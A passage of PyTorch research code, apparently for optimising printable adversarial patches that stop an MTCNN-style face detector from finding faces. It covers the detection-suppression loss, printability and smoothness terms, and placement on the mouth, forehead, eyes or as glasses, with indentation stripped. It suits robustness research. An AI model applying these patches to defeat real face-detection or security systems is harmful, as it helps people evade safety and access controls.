# print(scale_out.size())
elif loss_type == 'threshold_approach':
threshold = 0.35
batch_stack = torch.unbind(score_per_scale_resh, dim=0)
penalized_tensor_batch = []
for img_tensor in batch_stack:
size = img_tensor.size()
zero_tensor = torch.cuda.FloatTensor(size).fill_(0)
penalized_tensor = torch.max(img_tensor - threshold, zero_tensor) ** 2
penalized_tensor_batch.append(penalized_tensor)
penalized_tensor_batch = torch.stack(penalized_tensor_batch, dim=0)
scale_out = torch.sum(penalized_tensor_batch, dim=1)
scale_out = scale_out.unsqueeze(1)
# print(scale_out.size())
loss_per_scale.append(scale_out)
loss_per_scale = torch.stack(loss_per_scale, 1)
# print(loss_per_scale)
if scale_level_score == 'scale_max':
scales_output_pnet, scales_output_indx = torch.max(loss_per_scale, 1)
# print(scales_output)
elif scale_level_score == 'scale_mean':
scales_output_pnet = torch.mean(loss_per_scale, 1)
elif scale_level_score == 'scale_sum':
scales_output_pnet = torch.sum(loss_per_scale, 1)
scales_output_pnet_batched = torch.mean(scales_output_pnet)
# rnet, onet
r_o_net_outscore_list = []
for r_o_nets in net_output[1:]:
if loss_type == 'max_approach':
score_out = torch.max(r_o_nets)
#print(score_out)
elif loss_type == 'threshold_approach':
threshold = 0
size = r_o_nets.size()
zero_tensor = torch.cuda.FloatTensor(size).fill_(0)
penalized_tensor = torch.max(r_o_nets - threshold, zero_tensor) ** 2
score_out = torch.sum(penalized_tensor)
r_o_net_outscore_list.append(score_out)
print(scales_output_pnet_batched)
print(r_o_net_outscore_list)
final_output = scales_output_pnet_batched + r_o_net_outscore_list[0] + r_o_net_outscore_list[1]
return final_output
class NPSCalculator(nn.Module):
"""NMSCalculator: calculates the non-printability score of a patch.
Module providing the functionality necessary to calculate the non-printability score (NMS) of an adversarial patch.
"""
def __init__(self, printability_file, patch_side):
super(NPSCalculator, self).__init__()
self.printability_array = nn.Parameter(self.get_printability_array(printability_file, patch_side),requires_grad=False)
def forward(self, adv_patch):
# calculate euclidian distance between colors in patch and colors in printability_array
# square root of sum of squared difference
color_dist = (adv_patch - self.printability_array+0.000001)
#print(color_dist.size())
color_dist = color_dist ** 2 # squared difference
color_dist = torch.sum(color_dist, 1)+0.000001
#print(color_dist.size())
color_dist = torch.sqrt(color_dist)
# only work with the min distance
color_dist_prod = torch.min(color_dist, 0)[0] #test: change prod for min (find distance to closest color)
#print(type(color_dist_prod))
#print('size ' + str(color_dist_prod.size()))
# calculate the nps by summing over all pixels
nps_score = torch.sum(color_dist_prod,0)
nps_score = torch.sum(nps_score,0)
return nps_score/torch.numel(adv_patch) # divide by the total number of elements in the input tensor
def get_printability_array(self, printability_file, side):
# side = patch_size in adv_examples.py
printability_list = []
# read in printability triplets and put them in a list
with open(printability_file) as f:
for line in f:
printability_list.append(line.split(","))
# see notes for a better graphical representation
printability_array = []
for printability_triplet in printability_list:
printability_imgs = []
red, green, blue = printability_triplet
printability_imgs.append(np.full(side, red))
printability_imgs.append(np.full(side, green))
printability_imgs.append(np.full(side, blue))
printability_array.append(printability_imgs)
printability_array = np.asarray(printability_array) # convert input lists, tuples etc. to array
printability_array = np.float32(printability_array)
pa = torch.from_numpy(printability_array) # Creates a Tensor from a numpy array.
return pa
class TotalVariation(nn.Module):
"""TotalVariation: calculates the total variation of a patch.
Module providing the functionality necessary to calculate the total variation (TV) of an adversarial patch.
"""
def __init__(self):
super(TotalVariation, self).__init__()
def forward(self, adv_patch):
# compute total variation of the adv_patch
tvcomp1 = torch.sum(torch.abs(adv_patch[:, :, 1:] - adv_patch[:, :, :-1]+0.000001),0) # NB -1 indicates the last element!
tvcomp1 = torch.sum(torch.sum(tvcomp1,0),0)
tvcomp2 = torch.sum(torch.abs(adv_patch[:, 1:, :] - adv_patch[:, :-1, :]+0.000001),0)
tvcomp2 = torch.sum(torch.sum(tvcomp2,0),0)
tv = tvcomp1 + tvcomp2
return tv/torch.numel(adv_patch)
class PatchTransformer(nn.Module):
"""PatchTransformer: transforms batch of patches
Module providing the functionality necessary to transform a batch of patches, randomly adjusting brightness and
contrast, adding random amount of noise, and rotating randomly. Resizes patches according to as size based on the
batch of labels, and pads them to the dimension of an image.
"""
def __init__(self):
super(PatchTransformer, self).__init__()
self.min_contrast = 0.8
self.max_contrast = 1.2
self.min_brightness = -0.1
self.max_brightness = 0.1
self.noise_factor = 0.10
self.minangle = -10 / 180 * math.pi
self.maxangle = 10 / 180 * math.pi
self.medianpooler = MedianPool2d(7, same=True) # kernel_size = 7? see again
def forward(self, adv_patch, lab_batch, img_size, loc, do_rotate=True, rand_loc=True, align_angle = True):
use_cuda = 1
#adv_patch = self.medianpooler(adv_patch.unsqueeze(0))
#print(adv_patch.size())
padx = (img_size - adv_patch.size(-1)) / 2
pady = (img_size - adv_patch.size(-2)) / 2
adv_patch = adv_patch.unsqueeze(0)
adv_batch = adv_patch.expand(lab_batch.size(0), lab_batch.size(1), -1, -1, -1)
batch_size = torch.Size((lab_batch.size(0), lab_batch.size(1)))
if use_cuda:
contrast = torch.cuda.FloatTensor(batch_size).uniform_(self.min_contrast, self.max_contrast)
else:
contrast = torch.FloatTensor(batch_size).uniform_(self.min_contrast, self.max_contrast)
contrast = contrast.unsqueeze(-1).unsqueeze(-1).unsqueeze(-1)
contrast = contrast.expand(-1, -1, adv_batch.size(-3), adv_batch.size(-2), adv_batch.size(-1))
if use_cuda:
contrast = contrast.cuda()
else:
contrast = contrast
#_________________________________________________________________________________________________________________________________________________
# Create random brightness tensor
if use_cuda:
brightness = torch.cuda.FloatTensor(batch_size).uniform_(self.min_brightness, self.max_brightness)
else:
brightness = torch.FloatTensor(batch_size).uniform_(self.min_brightness, self.max_brightness)
brightness = brightness.unsqueeze(-1).unsqueeze(-1).unsqueeze(-1)
brightness = brightness.expand(-1, -1, adv_batch.size(-3), adv_batch.size(-2), adv_batch.size(-1))
if use_cuda:
brightness = brightness.cuda()
else:
brightness = brightness
# _____________________________________________________________________________________________________________________________________________
# Create random noise tensor
if use_cuda:
noise = torch.cuda.FloatTensor(adv_batch.size()).uniform_(-1, 1) * self.noise_factor
else:
noise = torch.FloatTensor(adv_batch.size()).uniform_(-1, 1) * self.noise_factor
#______________________________________________________________________________________________________________________________________________
# Apply contrast/brightness/noise, clamp
adv_batch = adv_batch * contrast + brightness + noise
adv_batch = torch.clamp(adv_batch, 0.000001, 0.99999)
#______________________________________________________________________________________________________________________________________________
# Where the label class_ids is 1 we don't want a patch (padding) --> fill mask with zero's
cls_ids = torch.narrow(lab_batch, 2, 0, 1)
cls_mask = cls_ids.expand(-1, -1, 3)
cls_mask = cls_mask.unsqueeze(-1)
cls_mask = cls_mask.expand(-1, -1, -1, adv_batch.size(3))
cls_mask = cls_mask.unsqueeze(-1)
cls_mask = cls_mask.expand(-1, -1, -1, -1, adv_batch.size(4))
if use_cuda:
msk_batch = torch.cuda.FloatTensor(cls_mask.size()).fill_(1) - cls_mask
else:
msk_batch = torch.FloatTensor(cls_mask.size()).fill_(1) - cls_mask
#_______________________________________________________________________________________________________________________________________________
# Pad patch and mask to image dimensions with zeros
mypad = nn.ConstantPad2d((int(padx + 0.5), int(padx), int(pady + 0.5), int(pady)), 0)
adv_batch = mypad(adv_batch)
msk_batch = mypad(msk_batch)
#_______________________________________________________________________________________________________________________________________________
# Rotation and rescaling transforms
anglesize = (lab_batch.size(0) * lab_batch.size(1)) # dim = 6*14 = 84
if do_rotate:
if use_cuda:
angle = torch.cuda.FloatTensor(anglesize).uniform_(self.minangle, self.maxangle)
else:
angle = torch.FloatTensor(anglesize).uniform_(self.minangle, self.maxangle)
else:
if use_cuda:
angle = torch.cuda.FloatTensor(anglesize).fill_(0)
else:
angle = torch.FloatTensor(anglesize).fill_(0)
# Fixed rotation along mouth direction:
if align_angle:
third_vertex = [lab_batch[:,:,13], lab_batch[:,:,12]]
mouth_length_hypot = torch.sqrt((lab_batch[:,:,13] - lab_batch[:,:,11])**2 + (lab_batch[:,:,14]-lab_batch[:,:,12])**2)
#print('mouth_length_wo_1: ' + str(mouth_length_hypot))
cath_opp = torch.sqrt((lab_batch[:,:,13] - third_vertex[0])**2 + (lab_batch[:,:,14]-third_vertex[1])**2)
#print('cath_opp: ' + str(cath_opp))
cath_adj = torch.sqrt(mouth_length_hypot**2 - cath_opp**2)
#print('cath_adj: ' + str(cath_adj))
mouth_length_hypot = torch.where(mouth_length_hypot==0, torch.cuda.FloatTensor(batch_size).fill_(1), mouth_length_hypot)
#print('mouth_length_with1: ' + str(mouth_length_hypot))
sin_align_angle = cath_opp/mouth_length_hypot
cos_align_angle = cath_adj/mouth_length_hypot
greater_mask = torch.ge(lab_batch[:,:,12], lab_batch[:,:,14])
#print(greater_mask)
#cos_align_angle = torch.where(greater_mask==True, cos_align_angle*(-1), cos_align_angle)
sin_align_angle = torch.where(greater_mask == True, sin_align_angle * (-1), sin_align_angle)
else:
if use_cuda:
sin_align_angle = torch.cuda.FloatTensor(batch_size).fill_(0)
cos_align_angle = torch.cuda.FloatTensor(batch_size).fill_(0)
else:
sin_align_angle = torch.FloatTensor(batch_size).fill_(0)
cos_align_angle = torch.FloatTensor(batch_size).fill_(0)
sin_align_angle = sin_align_angle.view(anglesize)
cos_align_angle = cos_align_angle.view(anglesize)
# print(sin_align_angle)
# print(cos_align_angle)
#_______________________________________________________________________________________________________________________________________________
# Resizes and rotates
current_patch_size_mine = adv_patch.size(-1) # width if -1 (larger dim), height if -2 (smaller dim)
if loc == 'mouth_hide_nose':
current_patch_size_paper = 200
else:
current_patch_size_paper = adv_patch.size(-2)
if use_cuda:
lab_batch_scaled = torch.cuda.FloatTensor(lab_batch.size()).fill_(0)
else:
lab_batch_scaled = torch.FloatTensor(lab_batch.size()).fill_(0) # dim 6 x 14 x 5
lab_batch_scaled[:, :, 1] = lab_batch[:, :, 1] * img_size
lab_batch_scaled[:, :, 2] = lab_batch[:, :, 2] * img_size
lab_batch_scaled[:, :, 3] = lab_batch[:, :, 3] * img_size
lab_batch_scaled[:, :, 4] = lab_batch[:, :, 4] * img_size
# lab_batch_scaled[:, :, 5] = lab_batch[:, :, 5] * img_size
# lab_batch_scaled[:, :, 6] = lab_batch[:, :, 6] * img_size
# lab_batch_scaled[:, :, 7] = lab_batch[:, :, 7] * img_size
# lab_batch_scaled[:, :, 8] = lab_batch[:, :, 8] * img_size
# lab_batch_scaled[:, :, 9] = lab_batch[:, :, 9] * img_size
# lab_batch_scaled[:, :, 10] = lab_batch[:, :, 10] * img_size
# lab_batch_scaled[:, :, 11] = lab_batch[:, :, 11] * img_size
# lab_batch_scaled[:, :, 12] = lab_batch[:, :, 12] * img_size
# lab_batch_scaled[:, :, 13] = lab_batch[:, :, 13] * img_size
# lab_batch_scaled[:, :, 14] = lab_batch[:, :, 14] * img_size
target_size_paper = torch.sqrt(((lab_batch_scaled[:, :, 3].mul(0.2)) ** 2) + ((lab_batch_scaled[:, :, 4].mul(0.2)) ** 2))
target_size_mine = lab_batch_scaled[:,:,3] # larger dimension, width if 3, height if 4
# shift to box centre
# target_x = lab_batch[:,:,1] + lab_batch[:,:,3]/2
# target_x = target_x.view(np.prod(batch_size))
# target_y = lab_batch[:, :, 2] + lab_batch[:, :, 4] / 2
# target_y = target_y.view(np.prod(batch_size))
if loc == 'mouth':
# shift to mouth centre
target_x = (lab_batch[:,:,11] + lab_batch[:,:,13])/2
target_x = target_x.view(np.prod(batch_size))
target_y = (lab_batch[:,:,12] + lab_batch[:,:,14])/2
target_y = target_y.view(np.prod(batch_size))
elif loc == 'mouth_hide_nose':
# shift to mouth centre
target_x = (lab_batch[:,:,11] + lab_batch[:,:,13])/2
target_x = target_x.view(np.prod(batch_size))
target_y = (lab_batch[:,:,12] + lab_batch[:,:,14])/2 - 0.02
target_y = target_y.view(np.prod(batch_size))
elif loc == 'forehead':
greater_mask_forehead = torch.ge(lab_batch[:,:,6], lab_batch[:,:,8])
target_x = (lab_batch[:, :, 7] + lab_batch[:, :, 5]) / 2
target_x = torch.where(greater_mask_forehead== True, target_x-0.01, target_x+0.01)
target_x = target_x.view(np.prod(batch_size))
target_y = ((((lab_batch[:, :, 6] + lab_batch[:, :, 8]) / 2) + lab_batch[:,:,2]) / 2) -0.01
target_y = target_y.view(np.prod(batch_size))
elif loc == 'eyes':
target_x = (lab_batch[:, :, 5] + lab_batch[:, :, 7]) / 2
target_x = target_x.view(np.prod(batch_size))
target_y = (lab_batch[:, :, 6] + lab_batch[:, :, 8]) / 2
target_y = target_y.view(np.prod(batch_size))
targetoff_x = lab_batch[:, :, 3].view(np.prod(batch_size)) # used to get off_x
targetoff_y = lab_batch[:, :, 4].view(np.prod(batch_size)) # used to get off_y
if(rand_loc):
if use_cuda:
off_x = targetoff_x*(torch.cuda.FloatTensor(targetoff_x.size()).uniform_(-0.4,0.4))
off_y = targetoff_y*(torch.cuda.FloatTensor(targetoff_y.size()).uniform_(-0.4,0.4))
else:
off_x = targetoff_x * (torch.FloatTensor(targetoff_x.size()).uniform_(-0.4, 0.4))
off_y = targetoff_y * (torch.FloatTensor(targetoff_y.size()).uniform_(-0.4, 0.4))
target_x = target_x + off_x
target_y = target_y + off_y
#target_y = target_y - 0.05
scale = target_size_paper / current_patch_size_paper
scale = scale.view(anglesize)
#print(scale)
s = adv_batch.size() # 6 x 14 x 3 x 416 x 416
adv_batch = adv_batch.view(s[0] * s[1], s[2], s[3], s[4]) # 84 x 3 x 416 x 416
msk_batch = msk_batch.view(s[0] * s[1], s[2], s[3], s[4]) # 84 x 3 x 416 x 416
tx = (-target_x+0.5)*2
ty = (-target_y+0.5)*2
sin = torch.sin(angle)
cos = torch.cos(angle)
# Theta = rotation, rescale matrix
if use_cuda:
theta = torch.cuda.FloatTensor(anglesize, 2, 3).fill_(0)
else:
theta = torch.FloatTensor(anglesize, 2, 3).fill_(0) # dim 84 x 2 x 3 (N x 2 x 3) required by F.affine_grid
# theta[:, 0, 0] = cos/scale
# theta[:, 0, 1] = sin/scale
# theta[:, 0, 2] = tx*cos/scale+ty*sin/scale
# theta[:, 1, 0] = -sin/scale
# theta[:, 1, 1] = cos/scale
# theta[:, 1, 2] = -tx*sin/scale+ty*cos/scale
theta[:, 0, 0] = (cos*cos_align_angle -sin*sin_align_angle) / scale
theta[:, 0, 1] = (sin*cos_align_angle + cos*sin_align_angle) / scale
theta[:, 0, 2] = (tx * cos / scale + ty * sin / scale)*cos_align_angle + (-tx * sin / scale + ty * cos / scale)*sin_align_angle
theta[:, 1, 0] = (-sin_align_angle*cos -cos_align_angle*sin) / scale
theta[:, 1, 1] = (-sin_align_angle*sin + cos_align_angle*cos)/ scale
theta[:, 1, 2] = -sin_align_angle * (tx * cos / scale + ty * sin / scale) + cos_align_angle * (-tx * sin / scale + ty * cos / scale)
grid = F.affine_grid(theta, adv_batch.shape) # adv_batch should be of type N x C x Hin x Win. Output is N x Hg x Wg x 2
adv_batch_t = F.grid_sample(adv_batch, grid) # computes the output using input values and pixel locations from grid.
msk_batch_t = F.grid_sample(msk_batch, grid) # Output has dim N x C x Hg x Wg
adv_batch_t = adv_batch_t.view(s[0], s[1], s[2], s[3], s[4]) # 4 x 16 x 3 x 416 x 416
msk_batch_t = msk_batch_t.view(s[0], s[1], s[2], s[3], s[4])
adv_batch_t = torch.clamp(adv_batch_t, 0.000001, 0.999999)
return adv_batch_t * msk_batch_t
class PatchApplier(nn.Module):
"""PatchApplier: applies adversarial patches to images.
Module providing the functionality necessary to apply a patch to all detections in all images in the batch.
"""
def __init__(self):
super(PatchApplier, self).__init__()
def forward(self, img_batch, adv_batch):
advs = torch.unbind(adv_batch, 1)
for adv in advs:
img_batch = torch.where((adv == 0), img_batch, adv) # the output tensor has elements belonging to img_batch if adv == 0, else belonging to adv
return img_batch
class FDDBDataset(Dataset):
"""InriaDataset: representation of the INRIA person dataset.
Internal representation of the commonly used INRIA person dataset.
Available at: http://pascal.inrialpes.fr/data/human/
Attributes:
len: An integer number of elements in the
img_dir: Directory containing the images of the INRIA dataset.
lab_dir: Directory containing the labels of the INRIA dataset.
img_names: List of all image file names in img_dir.
shuffle: Whether or not to shuffle the dataset.
"""
def __init__(self, img_dir, lab_dir, max_lab, imgsize, shuffle=True):
#imgsize = 500 as example
# read images
n_jpg_images = len(fnmatch.filter(os.listdir(img_dir), '*.jpg'))
n_images = n_jpg_images
# read labels
n_labels = len(fnmatch.filter(os.listdir(lab_dir), '*.txt'))
assert n_images == n_labels, "Number of images and number of labels don't match"
self.len = n_images
self.img_dir = img_dir
self.lab_dir = lab_dir
self.imgsize = imgsize
self.img_names = fnmatch.filter(os.listdir(img_dir), '*.jpg')
self.shuffle = shuffle
self.img_paths = []
for img_name in self.img_names:
self.img_paths.append(os.path.join(self.img_dir, img_name))
self.lab_paths = []
for img_name in self.img_names:
lab_path = os.path.join(self.lab_dir, img_name).replace('.jpg', '.txt').replace('.png', '.txt')
self.lab_paths.append(lab_path)
self.max_n_labels = max_lab
def __len__(self):
return self.len
def __getitem__(self, idx):
assert idx <= len(self), 'index range error'
img_path = os.path.join(self.img_dir, self.img_names[idx])
lab_path = os.path.join(self.lab_dir, self.img_names[idx]).replace('.jpg', '.txt')
image = Image.open(img_path).convert('RGB')
if os.path.getsize(lab_path):
label = np.loadtxt(lab_path)
else:
label = np.ones([16])
label = torch.from_numpy(label).float()
if label.dim() == 1:
label = label.unsqueeze(0)
image, label = self.pad_and_scale(image, label)
#image.show()
transform = transforms.ToTensor()
image = transform(image)
label = self.pad_lab(label)
return image, label
def pad_and_scale(self, img, lab):
"""
Args:
img:
Returns:
"""
w,h = img.size
if w==h:
padded_img = img
else:
dim_to_pad = 1 if w<h else 2
if dim_to_pad == 1:
padding = (h - w) / 2
padded_img = Image.new('RGB', (h,h), color=(127,127,127))
padded_img.paste(img, (int(padding), 0))
lab[:, [1]] = (lab[:, [1]] + padding) / h # left
lab[:, [2]] = (lab[:, [2]]) / h # top
lab[:, [3]] = (lab[:, [3]] / h) # width
lab[:, [4]] = (lab[:, [4]] / h) # height
lab[:, [5]] = (lab[:, [5]] + padding) / h # lex
lab[:, [6]] = (lab[:, [6]] / h) # ley
lab[:, [7]] = (lab[:, [7]] + padding) / h # rex
lab[:, [8]] = (lab[:, [8]] / h) # rey
lab[:, [9]] = (lab[:, [9]] + padding) / h # nx
lab[:, [10]] = (lab[:, [10]] / h) # ny
lab[:, [11]] = (lab[:, [11]] + padding) / h # lmx
lab[:, [12]] = (lab[:, [12]] / h) # lmy
lab[:, [13]] = (lab[:, [13]] + padding) / h # rmx
lab[:, [14]] = (lab[:, [14]] / h) # rmy
else:
padding = (w - h) / 2
padded_img = Image.new('RGB', (w, w), color=(127,127,127))
padded_img.paste(img, (0, int(padding)))
lab[:, [1]] = (lab[:, [1]] / w) # left
lab[:, [2]] = (lab[:, [2]] + padding) / w # top
lab[:, [3]] = (lab[:, [3]] / w) # width
lab[:, [4]] = (lab[:, [4]] / w) # height
lab[:, [5]] = (lab[:, [5]] / w) # lex
lab[:, [6]] = (lab[:, [6]] + padding) / w # ley
lab[:, [7]] = (lab[:, [7]] / w) # rex
lab[:, [8]] = (lab[:, [8]] + padding) / w # rey
lab[:, [9]] = (lab[:, [9]] / w) # nx
lab[:, [10]] = (lab[:, [10]] + padding) / w # ny
lab[:, [11]] = (lab[:, [11]] / w) # lmx
lab[:, [12]] = (lab[:, [12]] + padding) / w # lmy
lab[:, [13]] = (lab[:, [13]] / w) # rmx
lab[:, [14]] = (lab[:, [14]] + padding) / w # rmy
resize = transforms.Resize((self.imgsize,self.imgsize)) # make a square image of dim 416 x 416
padded_img = resize(padded_img) #choose here
return padded_img, lab
def pad_lab(self, lab):
pad_size = self.max_n_labels - lab.shape[0]
if(pad_size>0):
padded_lab = F.pad(lab, (0, 0, 0, pad_size), value=1)
else:
padded_lab = lab
return padded_lab
class PatchTransformer_glasses(nn.Module):
"""PatchTransformer: transforms batch of patches
Module providing the functionality necessary to transform a batch of patches, randomly adjusting brightness and
contrast, adding random amount of noise, and rotating randomly. Resizes patches according to as size based on the
batch of labels, and pads them to the dimension of an image.
"""
def __init__(self):
super(PatchTransformer_glasses, self).__init__()
self.min_contrast = 0.8
self.max_contrast = 1.2
self.min_brightness = -0.1
self.max_brightness = 0.1
self.noise_factor = 0.10
self.minangle = -10 / 180 * math.pi
self.maxangle = 10 / 180 * math.pi
self.medianpooler = MedianPool2d(7, same=True) # kernel_size = 7? see again
def forward(self, adv_patch, lab_batch, img_size, one_zero_mask, loc, do_rotate=True, rand_loc=True, align_angle = True):
use_cuda = 1
#adv_patch = self.medianpooler(adv_patch.unsqueeze(0))
#print(adv_patch.size())
padx = (img_size - adv_patch.size(-1)) / 2
pady = (img_size - adv_patch.size(-2)) / 2
adv_patch = adv_patch.unsqueeze(0)
adv_batch = adv_patch.expand(lab_batch.size(0), lab_batch.size(1), -1, -1, -1)
one_zero_mask_batch = one_zero_mask.expand(lab_batch.size(0), lab_batch.size(1), -1, -1, -1)
batch_size = torch.Size((lab_batch.size(0), lab_batch.size(1)))
if use_cuda:
contrast = torch.cuda.FloatTensor(batch_size).uniform_(self.min_contrast, self.max_contrast)
else:
contrast = torch.FloatTensor(batch_size).uniform_(self.min_contrast, self.max_contrast)
contrast = contrast.unsqueeze(-1).unsqueeze(-1).unsqueeze(-1)
contrast = contrast.expand(-1, -1, adv_batch.size(-3), adv_batch.size(-2), adv_batch.size(-1))
if use_cuda:
contrast = contrast.cuda()
else:
contrast = contrast
#_________________________________________________________________________________________________________________________________________________
# Create random brightness tensor
if use_cuda:
brightness = torch.cuda.FloatTensor(batch_size).uniform_(self.min_brightness, self.max_brightness)
else:
brightness = torch.FloatTensor(batch_size).uniform_(self.min_brightness, self.max_brightness)
brightness = brightness.unsqueeze(-1).unsqueeze(-1).unsqueeze(-1)
brightness = brightness.expand(-1, -1, adv_batch.size(-3), adv_batch.size(-2), adv_batch.size(-1))
if use_cuda:
brightness = brightness.cuda()
else:
brightness = brightness
# _____________________________________________________________________________________________________________________________________________
# Create random noise tensor
if use_cuda:
noise = torch.cuda.FloatTensor(adv_batch.size()).uniform_(-1, 1) * self.noise_factor
else:
noise = torch.FloatTensor(adv_batch.size()).uniform_(-1, 1) * self.noise_factor
#______________________________________________________________________________________________________________________________________________
# Apply contrast/brightness/noise, clamp
#adv_batch = adv_batch * contrast + brightness + noise
if use_cuda:
black_batch_2 = torch.cuda.FloatTensor(adv_batch.size()).fill_(0)
else:
black_batch_2 = torch.FloatTensor(adv_batch.size()).fill_(0)
adv_batch_eot = torch.where(one_zero_mask_batch==0, black_batch_2, adv_batch * contrast + brightness + noise)
adv_batch = torch.clamp(adv_batch_eot, 0.000001, 0.99999)
#adv_batch = torch.where(adv_batch<)
# adv_patch_im = transforms.ToPILImage('RGB')(adv_batch[0][0])
# plt.imshow(adv_patch_im)
# plt.show()
#______________________________________________________________________________________________________________________________________________
# Where the label class_ids is 1 we don't want a patch (padding) --> fill mask with zero's
cls_ids = torch.narrow(lab_batch, 2, 0, 1)
cls_mask = cls_ids.expand(-1, -1, 3)
cls_mask = cls_mask.unsqueeze(-1)
cls_mask = cls_mask.expand(-1, -1, -1, adv_batch.size(3))
cls_mask = cls_mask.unsqueeze(-1)
cls_mask = cls_mask.expand(-1, -1, -1, -1, adv_batch.size(4))
if use_cuda:
msk_batch = torch.cuda.FloatTensor(cls_mask.size()).fill_(1) - cls_mask
else:
msk_batch = torch.FloatTensor(cls_mask.size()).fill_(1) - cls_mask
#_______________________________________________________________________________________________________________________________________________
# Pad patch and mask to image dimensions with zeros
mypad = nn.ConstantPad2d((int(padx + 0.5), int(padx), int(pady + 0.5), int(pady)), 0)
adv_batch = mypad(adv_batch)
one_zero_mask_batch = mypad(one_zero_mask_batch)
msk_batch = mypad(msk_batch)
#_______________________________________________________________________________________________________________________________________________
# Rotation and rescaling transforms
anglesize = (lab_batch.size(0) * lab_batch.size(1)) # dim = 6*14 = 84
if do_rotate:
if use_cuda:
angle = torch.cuda.FloatTensor(anglesize).uniform_(self.minangle, self.maxangle)
else:
angle = torch.FloatTensor(anglesize).uniform_(self.minangle, self.maxangle)
else:
if use_cuda:
angle = torch.cuda.FloatTensor(anglesize).fill_(0)
else:
angle = torch.FloatTensor(anglesize).fill_(0)
# Fixed rotation along mouth direction:
if align_angle:
third_vertex = [lab_batch[:,:,13], lab_batch[:,:,12]]
mouth_length_hypot = torch.sqrt((lab_batch[:,:,13] - lab_batch[:,:,11])**2 + (lab_batch[:,:,14]-lab_batch[:,:,12])**2)
#print('mouth_length_wo_1: ' + str(mouth_length_hypot))
cath_opp = torch.sqrt((lab_batch[:,:,13] - third_vertex[0])**2 + (lab_batch[:,:,14]-third_vertex[1])**2)
#print('cath_opp: ' + str(cath_opp))
cath_adj = torch.sqrt(mouth_length_hypot**2 - cath_opp**2)
#print('cath_adj: ' + str(cath_adj))
if use_cuda:
mouth_length_hypot = torch.where(mouth_length_hypot==0, torch.cuda.FloatTensor(batch_size).fill_(1), mouth_length_hypot)
#print('mouth_length_with1: ' + str(mouth_length_hypot))
else:
mouth_length_hypot = torch.where(mouth_length_hypot==0, torch.FloatTensor(batch_size).fill_(1), mouth_length_hypot)
#print('mouth_length_with1: ' + str(mouth_length_hypot))
sin_align_angle = cath_opp/mouth_length_hypot
cos_align_angle = cath_adj/mouth_length_hypot
greater_mask = torch.ge(lab_batch[:,:,12], lab_batch[:,:,14])
#print(greater_mask)
#cos_align_angle = torch.where(greater_mask==True, cos_align_angle*(-1), cos_align_angle)
sin_align_angle = torch.where(greater_mask == True, sin_align_angle * (-1), sin_align_angle)
else:
if use_cuda:
sin_align_angle = torch.cuda.FloatTensor(batch_size).fill_(0)
cos_align_angle = torch.cuda.FloatTensor(batch_size).fill_(0)
else:
sin_align_angle = torch.FloatTensor(batch_size).fill_(0)
cos_align_angle = torch.FloatTensor(batch_size).fill_(0)
sin_align_angle = sin_align_angle.view(anglesize)
cos_align_angle = cos_align_angle.view(anglesize)
# print(sin_align_angle)
# print(cos_align_angle)
#_______________________________________________________________________________________________________________________________________________
# Resizes and rotates
current_patch_size_mine = adv_patch.size(-1) # width if -1 (larger dim), height if -2 (smaller dim)
current_patch_size_paper = adv_patch.size(-2)
if use_cuda:
lab_batch_scaled = torch.cuda.FloatTensor(lab_batch.size()).fill_(0)
else:
lab_batch_scaled = torch.FloatTensor(lab_batch.size()).fill_(0) # dim 6 x 14 x 5
lab_batch_scaled[:, :, 1] = lab_batch[:, :, 1] * img_size
lab_batch_scaled[:, :, 2] = lab_batch[:, :, 2] * img_size
lab_batch_scaled[:, :, 3] = lab_batch[:, :, 3] * img_size
lab_batch_scaled[:, :, 4] = lab_batch[:, :, 4] * img_size
# lab_batch_scaled[:, :, 5] = lab_batch[:, :, 5] * img_size
# lab_batch_scaled[:, :, 6] = lab_batch[:, :, 6] * img_size
# lab_batch_scaled[:, :, 7] = lab_batch[:, :, 7] * img_size
# lab_batch_scaled[:, :, 8] = lab_batch[:, :, 8] * img_size
# lab_batch_scaled[:, :, 9] = lab_batch[:, :, 9] * img_size
# lab_batch_scaled[:, :, 10] = lab_batch[:, :, 10] * img_size
# lab_batch_scaled[:, :, 11] = lab_batch[:, :, 11] * img_size
# lab_batch_scaled[:, :, 12] = lab_batch[:, :, 12] * img_size
# lab_batch_scaled[:, :, 13] = lab_batch[:, :, 13] * img_size
# lab_batch_scaled[:, :, 14] = lab_batch[:, :, 14] * img_size
target_size_paper = torch.sqrt(((lab_batch_scaled[:, :, 3].mul(0.2)) ** 2) + ((lab_batch_scaled[:, :, 4].mul(0.2)) ** 2))
target_size_mine = lab_batch_scaled[:,:,3] # larger dimension, width if 3, height if 4
# shift to box centre
# target_x = lab_batch[:,:,1] + lab_batch[:,:,3]/2
# target_x = target_x.view(np.prod(batch_size))
# target_y = lab_batch[:, :, 2] + lab_batch[:, :, 4] / 2
# target_y = target_y.view(np.prod(batch_size))
if loc == 'mouth':
# shift to mouth centre
target_x = (lab_batch[:,:,11] + lab_batch[:,:,13])/2
target_x = target_x.view(np.prod(batch_size))
target_y = (lab_batch[:,:,12] + lab_batch[:,:,14])/2
target_y = target_y.view(np.prod(batch_size))
elif loc == 'forehead':
greater_mask_forehead = torch.ge(lab_batch[:,:,6], lab_batch[:,:,8])
target_x = (lab_batch[:, :, 7] + lab_batch[:, :, 5]) / 2
target_x = torch.where(greater_mask_forehead== True, target_x-0.01, target_x+0.01)
target_x = target_x.view(np.prod(batch_size))
target_y = ((((lab_batch[:, :, 6] + lab_batch[:, :, 8]) / 2) + lab_batch[:,:,2]) / 2) -0.01
target_y = target_y.view(np.prod(batch_size))
elif loc == 'eyes':
target_x = (lab_batch[:, :, 5] + lab_batch[:, :, 7]) / 2
target_x = target_x.view(np.prod(batch_size))
target_y = (lab_batch[:, :, 6] + lab_batch[:, :, 8]) / 2
target_y = target_y.view(np.prod(batch_size))
targetoff_x = lab_batch[:, :, 3].view(np.prod(batch_size)) # used to get off_x
targetoff_y = lab_batch[:, :, 4].view(np.prod(batch_size)) # used to get off_y
if(rand_loc):
if use_cuda:
off_x = targetoff_x*(torch.cuda.FloatTensor(targetoff_x.size()).uniform_(-0.4,0.4))
off_y = targetoff_y*(torch.cuda.FloatTensor(targetoff_y.size()).uniform_(-0.4,0.4))
else:
off_x = targetoff_x * (torch.FloatTensor(targetoff_x.size()).uniform_(-0.4, 0.4))
off_y = targetoff_y * (torch.FloatTensor(targetoff_y.size()).uniform_(-0.4, 0.4))
target_x = target_x + off_x
target_y = target_y + off_y
#target_y = target_y - 0.05
scale = target_size_paper / current_patch_size_paper
scale = scale.view(anglesize)
# print(scale)
s = adv_batch.size() # 6 x 14 x 3 x 416 x 416
